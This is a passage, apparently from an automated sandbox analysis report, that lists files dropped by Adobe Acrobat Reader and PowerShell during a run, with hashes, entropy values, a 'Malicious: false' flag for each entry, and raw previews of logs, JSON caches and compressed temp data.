DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.249644232784595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJfshHHrPeUkwRe9:YvXKXqfZh0cla45GUUUkee9
MD5:	42FE48EB87E7AD28F53A7B917A1F5DD6
SHA1:	03E0341CF941E76B4384293411FB0CDE9145EA2F
SHA-256:	AC625FF4C9450E848CC46082B6DACFEBCDFA2E721E2043E303747D0976073A98
SHA-512:	14A1C9D7A5CE58E133BF2383C14B5D0FD7E9473EC85CABD804BB03BF4CA18F36765B00C4FBC1B5C9F42C685D365F8774F0E5669ED15F8DCF51EFC1C6E5FB323B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260964283641409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVDEfOELV0nZiQ0YmWT4KoAvJTqgFCrPeUkwRe9:YvXKXqfZh0cla45GTq16Ukee9
MD5:	EA0C715B6AB53BB17ABF46577B2AF0AF
SHA1:	73D0CB024957007FA1CB54051F642D0935D256F0
SHA-256:	BC8EEE17AA7AB0D3561AA6B5AA5AFC22D8DAAC0E9A2D37BABF827848C426F896
SHA-512:	71DBE1FE2B8C168CEAE296EACA4AD72507202E4140E589057F95E37396788603904F74E7CC62AA06F17997508998A53941B1A7C1813C715441C1AF8C712FDAAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ec6e511e-3570-4fa5-b95e-f6a562cbb546","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736704384177,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146200637043
Encrypted:	false
SSDEEP:	24:YvSoa8L1ayxPUwscCjCpa2YBnHLQWv4QjKpyj0SIc82U2LSSC43Y3BNOwrQV75OO:YvdVshcaRTBh2FsHY3BNOOKo4h9mU
MD5:	BC736B7F0B4FDF0A7B91DED8C7200B2D
SHA1:	B8DCCDF039278D5AD5C9B814CE09FB4E19CCBABB
SHA-256:	C9467894133FF3C0CE19BFA0691A738DE55249476C42B54BBAC537385A3B1892
SHA-512:	8C63B44D4A5BE84509959ED61D572880FC7133F51E0D8A012326C18EBE680D2F1DF2EC59A109557F1C64F0C5E8FADB3070B6C8846C382530F02650ED612A8E1D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b4600730fce9f84f4efe5457069e36d7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736526768000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d19ece1aa55391d6409db4b67f201c71","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736526768000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c9562a239370328e9de71ace84430b5d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736526768000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d8385026140b4870cb1c89a18567325d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736526768000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8cb9b03976998989103fa5f14e78bb02","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736526768000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"51c830f76c1fbcec19124d89e1dc93af","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.145879338457281
Encrypted:	false
SSDEEP:	48:TFl2GL7msK+KkXc+XcGNFlRYIX2v3kP+KK:/VmsKOXc+XckFPYIX2QQ
MD5:	EE6E328D8510A67FFF1BD98E1632F7EE
SHA1:	AD7CF7511548791910D6CACDA9737E5674718120
SHA-256:	757EF5213BAD2B8BCC4D3609BA9A7AB7531A28F4523FAC36CCEC1DAD3BEDDCFC
SHA-512:	8CFEFC202D9D2185CF2AF9A1BBAD61C9A2E3F153A48EFA3565D451EF05E2819A8C1B139062D982382EE44A6828571E32F320EFE21531A01ACE4F7A745799B165
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5503676505607313
Encrypted:	false
SSDEEP:	24:7+tA+K6UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxmqLxx/Xs:7MA+KzXc+XcGNFlRYIX2vDqVl2GL7ms2
MD5:	642568B0184573AB8C4235CF6D519CE1
SHA1:	EC8DC335C5E10309703864E1992833E0B19727EC
SHA-256:	844F00BD46844AE2343714C9C302E7692DB4396C0AC699E64FE9B9EBABC4B6C2
SHA-512:	3AE68664FBF9BD95B253C5197B26868F9CB6ED04DE6F27186B36DA8969C37F552A3631140B93BC5D51D99A52E97F3D188494BD9AAFBB887FCD96601A4936A1AA
Malicious:	false
Preview:	.... .c......3............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgtWCKhsG2q9rZHvau+GMehWaOJpYyu:6a6TZ44ADEdKhD9rlauNWaSK
MD5:	4BBBCB2E54A505DFEA899938018260D1
SHA1:	A125007B4CFB38025B34B9434DD9D65E54A68621
SHA-256:	6402157B08C09984A7A40E12CB97BEE1820A4D4C7E175010C6E87F246C0E27E5
SHA-512:	9DEDE7AD3D2C41F6BBE971FE01E5E747037B90D74C7C9579CC5FB98A576D02A9CECE74EC78801E1C32FD2E270B736FC507BDDF78371112AC803069A337B96826
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI2e199.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEnNQloYH:Qw946cPbiOxDlbYnuRK+bDnCloYH
MD5:	1E0CF62DFC2C31363F5806AA3B1419DA
SHA1:	ED28D4758957E20026D57BA971042AAD94E9DFEA
SHA-256:	399C2AFA8ED157E875B221357BCFC34359F1A0BA0B43F513854F98926A5C36B0
SHA-512:	373353B20BFF069C1C4435CAF2D985C26D309A11B5E2282703AACF1A5AC39F61AA24F7578D67886AD309D83F0F6124EBE2A7BCDCADAD573DDE6969582D3314BA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.3.2.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tpqtw4z.0rz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5ad2rnh.5wu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A96hlz4x_1llngne_2bc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-32-44-730.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.351782088972579
Encrypted:	false
SSDEEP:	384:OHTiokVql5qi7hK7cYzmP9On/MzaYFBDtC4DEDuDaDuDeLHuBb4XCIJKYgGDm7ZI:eiD
MD5:	9FDDCEC3A1786C4A9D52EED24C50A0CA
SHA1:	4441F723107470826DF7F611687C30E4F7164151
SHA-256:	5D845603441484753526C3BB2066445080044A72F3B43B707335FF2ED12FE1B8
SHA-512:	29089D539FD41F6D2A0727580E58CCEE3C72E145A25F6DE14148898797218BFE602CD21D9C1D790F24325C9D5874B2E0012C20D6D6E7731FD000C2A27CA85DFA
Malicious:	false
Preview:	SessionID=39774e81-b0c8-41d4-8108-8f0e08781cd4.1736526764753 Timestamp=2025-01-10T11:32:44:753-0500 ThreadID=7332 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=39774e81-b0c8-41d4-8108-8f0e08781cd4.1736526764753 Timestamp=2025-01-10T11:32:44:763-0500 ThreadID=7332 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=39774e81-b0c8-41d4-8108-8f0e08781cd4.1736526764753 Timestamp=2025-01-10T11:32:44:763-0500 ThreadID=7332 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=39774e81-b0c8-41d4-8108-8f0e08781cd4.1736526764753 Timestamp=2025-01-10T11:32:44:763-0500 ThreadID=7332 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=39774e81-b0c8-41d4-8108-8f0e08781cd4.1736526764753 Timestamp=2025-01-10T11:32:44:764-0500 ThreadID=7332 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397892455584514
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbsYcb6IgucbSm:V3fOCIdJDeKZgWm
MD5:	ABAD0D32889FACB356E49717AF3D4846
SHA1:	C1CBFD6F77FDC0817C101355121DD7A1A1572033
SHA-256:	E6D061BCE0F42AA8B1467FE5B8AC4B74E1DC5553A1954EA03E577D6E8B6E8415
SHA-512:	B60BC5A882CE83FE163CFB9C3B108B4A309B04A282159A0A067701A537EBFA1962D53AC761ACA8F756C3D77BF5B7339B2E64DA4E314D2863F4CDD0902EEF8A7A
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e29f708-1e85-44b6-ba0c-a549254d9d0d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\26be67ca-30b1-40d3-9f03-b0b25e8b84d8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5db88979-e3bf-4bc5-a819-67489db1d4d8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6449b30f-fc97-4ef3-8320-dd003123df80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/RwYIGNP4meWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZwZG6XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	3E2D879F2C17CB927D259AABADA22E63
